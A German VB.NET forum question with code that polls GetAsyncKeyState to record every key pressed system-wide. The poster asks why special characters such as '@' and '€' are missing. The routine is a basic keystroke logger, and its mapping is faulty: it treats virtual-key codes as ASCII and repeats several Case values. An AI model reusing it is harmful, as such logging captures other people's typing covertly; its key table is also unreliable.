Tasten abfrage geht nicht gut!

  • VB.NET
  • .NET (FX) 1.0–2.0

Es gibt 1 Antwort in diesem Thema. Der letzte Beitrag () ist von ~blaze~.

    Tasten abfrage geht nicht gut!

    Guten Tag!
    Ich möchte gerne Aufzeichnen welche Tasten gedruckt wurden sind.
    Nun habe ich in Youtube.de einen Gutes Tutorial gefunden.
    Link:

    Das Überwachen der Tasteneingabe funktioniert NUR für Zahlen und Buchstaben!
    Aber leider nicht für Sonderzeichen, ich möchte gerne dass es auch das @ und € und das $ anzeigt.
    Ich habe hier unten mal den Code stehen.
    Im Code steht: Case 64 rtb1.Text += "@"
    aber leider erfolgt dieses nicht in der Ausgabe!
    Was ist an diesem Code falsch?
    Wer kann mir helfen? ?(
    Vielen Dank!

    Code

    VB.NET-Quellcode

    1. Public Class Form1
    2. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
    3. Dim typein As Integer
    4. Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
    5. For logger = 1 To 255
    6. typein = GetAsyncKeyState(logger)
    7. If typein = -32767 Then
    8. Select Case logger
    9. Case 1
    10. rtb1.Text += "[LinksKlick]"
    11. Case 2
    12. rtb1.Text += "[RechtsKlick]"
    13. Case 3
    14. rtb1.Text += "[ACHTUNG!!!]"
    15. Case 4
    16. rtb1.Text += "[ACHTUNG!!!4]"
    17. Case 5
    18. rtb1.Text += "[ACHTUNG!!!5]"
    19. Case 6
    20. rtb1.Text += "[ACHTUNG!!6!]"
    21. Case 7
    22. rtb1.Text += "[ACHTUNG!!!7]"
    23. Case 8
    24. rtb1.Text += "[Backspace]"
    25. Case 9
    26. rtb1.Text += "[Tab]"
    27. Case 10
    28. rtb1.Text += "[ACHTUNG!!!10]"
    29. Case 11
    30. rtb1.Text += "[ACHTUNG!!!11]"
    31. Case 12
    32. rtb1.Text += "[ACHTUNG!!!12]"
    33. Case 13
    34. rtb1.Text += "[Enter]"
    35. Case 112
    36. rtb1.Text += "[F1]"
    37. Case 113
    38. rtb1.Text += "[F2]"
    39. Case 114
    40. rtb1.Text += "[F3]"
    41. Case 115
    42. rtb1.Text += "[F4]"
    43. Case 116
    44. rtb1.Text += "[F5]"
    45. Case 117
    46. rtb1.Text += "[F6]"
    47. Case 118
    48. rtb1.Text += "[F7]"
    49. Case 119
    50. rtb1.Text += "[F8]"
    51. Case 120
    52. rtb1.Text += "[F9]"
    53. Case 121
    54. rtb1.Text += "[F10]"
    55. Case 122
    56. rtb1.Text += "[F11]"
    57. Case 123
    58. rtb1.Text += "[F12]"
    59. Case 160
    60. rtb1.Text += ""
    61. Case 161
    62. rtb1.Text += ""
    63. Case 164
    64. rtb1.Text += "[Alt]"
    65. Case 165
    66. rtb1.Text += "[Alt]"
    67. Case 189
    68. rtb1.Text += "-"
    69. Case 187
    70. rtb1.Text += "+"
    71. Case 46
    72. rtb1.Text += "."
    73. Case 14
    74. rtb1.Text += "[ACHTUNG 14]"
    75. Case 15
    76. rtb1.Text += "[ACHTUNG 15]"
    77. Case 16
    78. rtb1.Text += "[Shift]"
    79. Case 17
    80. rtb1.Text += "[Strg]"
    81. Case 18
    82. rtb1.Text += "[Alt]"
    83. Case 19
    84. rtb1.Text += "[ACHTUNG 19]"
    85. Case 20
    86. rtb1.Text += "[Umstell.]"
    87. Case 21
    88. rtb1.Text += "[ACHTUNG 21]"
    89. Case 22
    90. rtb1.Text += "[ACHTUNG 22]"
    91. Case 23
    92. rtb1.Text += "[ACHTUNG 23]"
    93. Case 24
    94. rtb1.Text += "[ACHTUNG 24]"
    95. Case 25
    96. rtb1.Text += "[ACHTUNG 25]"
    97. Case 26
    98. rtb1.Text += "[ACHTUNG 26]"
    99. Case 27
    100. rtb1.Text += "[ACHTUNG 27]"
    101. Case 28
    102. rtb1.Text += "[ACHTUNG 28]"
    103. Case 29
    104. rtb1.Text += "[ACHTUNG 29]"
    105. Case 30
    106. rtb1.Text += "[ACHTUNG 30]"
    107. Case 31
    108. rtb1.Text += "[ACHTUNG 31]"
    109. Case 32
    110. rtb1.Text += " "
    111. Case 33
    112. rtb1.Text += "!"
    113. Case 34
    114. rtb1.Text = rtb1.Text + "´´"
    115. Case 35
    116. rtb1.Text += "#"
    117. Case 36
    118. rtb1.Text += "$"
    119. Case 37
    120. rtb1.Text += "%"
    121. Case 38
    122. rtb1.Text += "&"
    123. Case 39
    124. rtb1.Text += "'"
    125. Case 40
    126. rtb1.Text += "("
    127. Case 41
    128. rtb1.Text += ")"
    129. Case 42
    130. rtb1.Text += "*"
    131. Case 43
    132. rtb1.Text += "+"
    133. Case 44
    134. rtb1.Text += ","
    135. Case 45
    136. rtb1.Text += "-"
    137. Case 46
    138. rtb1.Text += "."
    139. Case 47
    140. rtb1.Text += "/"
    141. Case 48
    142. rtb1.Text += "0"
    143. Case 49
    144. rtb1.Text += "1"
    145. Case 50
    146. rtb1.Text += "2"
    147. Case 51
    148. rtb1.Text += "3"
    149. Case 52
    150. rtb1.Text += "4"
    151. Case 53
    152. rtb1.Text += "5"
    153. Case 54
    154. rtb1.Text += "6"
    155. Case 55
    156. rtb1.Text += "7"
    157. Case 56
    158. rtb1.Text += "8"
    159. Case 57
    160. rtb1.Text += "9"
    161. Case 58
    162. rtb1.Text += ":"
    163. Case 59
    164. rtb1.Text += ";"
    165. Case 60
    166. rtb1.Text += "<"
    167. Case 61
    168. rtb1.Text += "="
    169. Case 62
    170. rtb1.Text += ">"
    171. Case 63
    172. rtb1.Text += "?"
    173. Case 64
    174. rtb1.Text += "@"
    175. Case 65
    176. rtb1.Text += "a"
    177. Case 66
    178. rtb1.Text += "b"
    179. Case 67
    180. rtb1.Text += "c"
    181. Case 68
    182. rtb1.Text += "d"
    183. Case 69
    184. rtb1.Text += "e"
    185. Case 70
    186. rtb1.Text += "f"
    187. Case 71
    188. rtb1.Text += "g"
    189. Case 72
    190. rtb1.Text += "h"
    191. Case 73
    192. rtb1.Text += "i"
    193. Case 74
    194. rtb1.Text += "j"
    195. Case 75
    196. rtb1.Text += "k"
    197. Case 76
    198. rtb1.Text += "l"
    199. Case 77
    200. rtb1.Text += "m"
    201. Case 78
    202. rtb1.Text += "n"
    203. Case 79
    204. rtb1.Text += "o"
    205. Case 80
    206. rtb1.Text += "p"
    207. Case 81
    208. rtb1.Text += "q"
    209. Case 82
    210. rtb1.Text += "r"
    211. Case 83
    212. rtb1.Text += "s"
    213. Case 84
    214. rtb1.Text += "t"
    215. Case 85
    216. rtb1.Text += "u"
    217. Case 86
    218. rtb1.Text += "v"
    219. Case 87
    220. rtb1.Text += "w"
    221. Case 88
    222. rtb1.Text += "x"
    223. Case 89
    224. rtb1.Text += "y"
    225. Case 90
    226. rtb1.Text += "z"
    227. Case 91
    228. rtb1.Text += "[Win]"
    229. Case 92
    230. rtb1.Text += "[Win]"
    231. Case 93
    232. rtb1.Text += "]"
    233. Case 94
    234. rtb1.Text += "^"
    235. Case 95
    236. rtb1.Text += "_"
    237. Case 96
    238. rtb1.Text += "`"
    239. Case 97
    240. rtb1.Text += "a"
    241. Case 98
    242. rtb1.Text += "b"
    243. Case 99
    244. rtb1.Text += "c"
    245. Case 100
    246. rtb1.Text += "d"
    247. Case 101
    248. rtb1.Text += "e"
    249. Case 102
    250. rtb1.Text += "f"
    251. Case 103
    252. rtb1.Text += "g"
    253. Case 104
    254. rtb1.Text += "h"
    255. Case 105
    256. rtb1.Text += "i"
    257. Case 106
    258. rtb1.Text += "j"
    259. Case 107
    260. rtb1.Text += "k"
    261. Case 108
    262. rtb1.Text += "l"
    263. Case 109
    264. rtb1.Text += "m"
    265. Case 110
    266. rtb1.Text += "n"
    267. Case 111
    268. rtb1.Text += "o"
    269. Case 112
    270. rtb1.Text += "p"
    271. Case 113
    272. rtb1.Text += "q"
    273. Case 114
    274. rtb1.Text += "r"
    275. Case 115
    276. rtb1.Text += "s"
    277. Case 116
    278. rtb1.Text += "t"
    279. Case 117
    280. rtb1.Text += "u"
    281. Case 118
    282. rtb1.Text += "v"
    283. Case 119
    284. rtb1.Text += "w"
    285. Case 120
    286. rtb1.Text += "x"
    287. Case 121
    288. rtb1.Text += "y"
    289. Case 122
    290. rtb1.Text += "z"
    291. Case 123
    292. rtb1.Text += "{"
    293. Case 124
    294. rtb1.Text += "|"
    295. Case 125
    296. rtb1.Text += "}"
    297. Case 126
    298. rtb1.Text += "~"
    299. Case 127
    300. rtb1.Text += "[ACHTUNG 127]"
    301. Case 128
    302. rtb1.Text += "€"
    303. Case 129
    304. rtb1.Text += "[ACHTUNG 129]"
    305. Case 130
    306. rtb1.Text += "‚"
    307. Case 131
    308. rtb1.Text += "ƒ"
    309. Case 132
    310. rtb1.Text += "„"
    311. Case 133
    312. rtb1.Text += "…"
    313. Case 134
    314. rtb1.Text += "†"
    315. Case 135
    316. rtb1.Text += "‡"
    317. Case 136
    318. rtb1.Text += "ˆ"
    319. Case 137
    320. rtb1.Text += "[ACHTUNG 137]"
    321. Case 138
    322. rtb1.Text += "Š"
    323. Case 139
    324. rtb1.Text += "‹"
    325. Case 140
    326. rtb1.Text += "[ACHTUNG 140]"
    327. Case 141
    328. rtb1.Text += "[ACHTUNG 141]"
    329. Case 142
    330. rtb1.Text += "Ž"
    331. Case 143
    332. rtb1.Text += "[ACHTUNG 143]"
    333. Case 144
    334. rtb1.Text += "[ACHTUNG 144]"
    335. Case 145
    336. rtb1.Text += "‘"
    337. Case 146
    338. rtb1.Text += "’"
    339. Case 147
    340. rtb1.Text += """"
    341. Case 148
    342. rtb1.Text += """"
    343. Case 149
    344. rtb1.Text += "•"
    345. Case 150
    346. rtb1.Text += "–"
    347. Case 151
    348. rtb1.Text += "—"
    349. Case 152
    350. rtb1.Text += "˜"
    351. Case 153
    352. rtb1.Text += "™"
    353. Case 154
    354. rtb1.Text += "š"
    355. Case 155
    356. rtb1.Text += "›"
    357. Case 156
    358. rtb1.Text += "[ACHTUNG 155]"
    359. Case 157
    360. rtb1.Text += "[ACHTUNG 157]"
    361. Case 158
    362. rtb1.Text += "ž"
    363. Case 159
    364. rtb1.Text += "Ÿ"
    365. Case 160
    366. rtb1.Text += "[ACHTUNG 160]"
    367. Case 161
    368. rtb1.Text += "¡"
    369. Case 162
    370. rtb1.Text += ""
    371. Case 163
    372. rtb1.Text += ""
    373. Case 164
    374. rtb1.Text += "¤"
    375. Case 165
    376. rtb1.Text += "¥"
    377. Case 166
    378. rtb1.Text += "¦"
    379. Case 167
    380. rtb1.Text += "§"
    381. Case 168
    382. rtb1.Text += "¨"
    383. Case 169
    384. rtb1.Text += "©"
    385. Case 170
    386. rtb1.Text += "ª"
    387. Case 171
    388. rtb1.Text += "«"
    389. Case 172
    390. rtb1.Text += "¬"
    391. Case 173
    392. rtb1.Text += "[ACHTUNG 173]"
    393. Case 174
    394. rtb1.Text += "®"
    395. Case 175
    396. rtb1.Text += "¯"
    397. Case 176
    398. rtb1.Text += "°"
    399. Case 177
    400. rtb1.Text += "±"
    401. Case 178
    402. rtb1.Text += "²"
    403. Case 179
    404. rtb1.Text += "³"
    405. Case 180
    406. rtb1.Text += "´"
    407. Case 181
    408. rtb1.Text += "µ"
    409. Case 182
    410. rtb1.Text += "[ACHTUNG 182]"
    411. Case 183
    412. rtb1.Text += "."
    413. Case 184
    414. rtb1.Text += "¸"
    415. Case 185
    416. rtb1.Text += "¹"
    417. Case 186
    418. rtb1.Text += "ü"
    419. Case 187
    420. rtb1.Text += "»"
    421. Case 188
    422. rtb1.Text += ","
    423. Case 189
    424. rtb1.Text += ":"
    425. Case 190
    426. rtb1.Text += "."
    427. Case 191
    428. rtb1.Text += "¿"
    429. Case 192
    430. rtb1.Text += "ö"
    431. Case 193
    432. rtb1.Text += "Á"
    433. Case 194
    434. rtb1.Text += "Â"
    435. Case 195
    436. rtb1.Text += "Ã"
    437. Case 196
    438. rtb1.Text += "Ä"
    439. Case 197
    440. rtb1.Text += "Æ"
    441. Case 198
    442. rtb1.Text += "Ç"
    443. Case 199
    444. rtb1.Text += "È"
    445. Case 200
    446. rtb1.Text += "É"
    447. Case 201
    448. rtb1.Text += "Ê"
    449. Case 202
    450. rtb1.Text += "Ë"
    451. Case 203
    452. rtb1.Text += "Ì"
    453. Case 204
    454. rtb1.Text += "Í"
    455. Case 205
    456. rtb1.Text += "Í"
    457. Case 206
    458. rtb1.Text += "Î"
    459. Case 207
    460. rtb1.Text += "Ï"
    461. Case 208
    462. rtb1.Text += "Ð"
    463. Case 209
    464. rtb1.Text += "Ñ"
    465. Case 210
    466. rtb1.Text += "Ò"
    467. Case 211
    468. rtb1.Text += "Ó"
    469. Case 212
    470. rtb1.Text += "Ô"
    471. Case 213
    472. rtb1.Text += "Õ"
    473. Case 214
    474. rtb1.Text += "Ö"
    475. Case 215
    476. rtb1.Text += "×"
    477. Case 216
    478. rtb1.Text += "Ø"
    479. Case 217
    480. rtb1.Text += "Ù"
    481. Case 218
    482. rtb1.Text += "Ú"
    483. Case 219
    484. rtb1.Text += "Û"
    485. Case 220
    486. rtb1.Text += "Ü"
    487. Case 221
    488. rtb1.Text += "Ý"
    489. Case 222
    490. rtb1.Text += "ä"
    491. Case 223
    492. rtb1.Text += "ß"
    493. Case 224
    494. rtb1.Text += "à"
    495. Case 225
    496. rtb1.Text += "á"
    497. Case 226
    498. rtb1.Text += "â"
    499. Case 227
    500. rtb1.Text += "<"
    501. Case 228
    502. rtb1.Text += "ä"
    503. Case 229
    504. rtb1.Text += "æ"
    505. Case 230
    506. rtb1.Text += "ç"
    507. Case 231
    508. rtb1.Text += "è"
    509. Case 232
    510. rtb1.Text += "é"
    511. Case 233
    512. rtb1.Text += "ê"
    513. Case 234
    514. rtb1.Text += "ë"
    515. Case 235
    516. rtb1.Text += "ì"
    517. Case 236
    518. rtb1.Text += "í"
    519. Case 237
    520. rtb1.Text += "í"
    521. Case 238
    522. rtb1.Text += "î"
    523. Case 239
    524. rtb1.Text += "ï"
    525. Case 240
    526. rtb1.Text += "ð"
    527. Case 241
    528. rtb1.Text += "ñ"
    529. Case 242
    530. rtb1.Text += "ò"
    531. Case 243
    532. rtb1.Text += "ó"
    533. Case 244
    534. rtb1.Text += "ô"
    535. Case 245
    536. rtb1.Text += "õ"
    537. Case 246
    538. rtb1.Text += "ö"
    539. Case 247
    540. rtb1.Text += "÷"
    541. Case 248
    542. rtb1.Text += "ø"
    543. Case 249
    544. rtb1.Text += "ù"
    545. Case 250
    546. rtb1.Text += "ú"
    547. Case 251
    548. rtb1.Text += "û"
    549. Case 252
    550. rtb1.Text += "ü"
    551. Case 253
    552. rtb1.Text += "ý"
    553. Case 254
    554. rtb1.Text += "þ"
    555. Case 255
    556. rtb1.Text += "ÿ"
    557. End Select
    558. End If
    559. Next
    560. End Sub
    561. End Class
    Visual Basic.NET 8o
    MS-SQL
    8o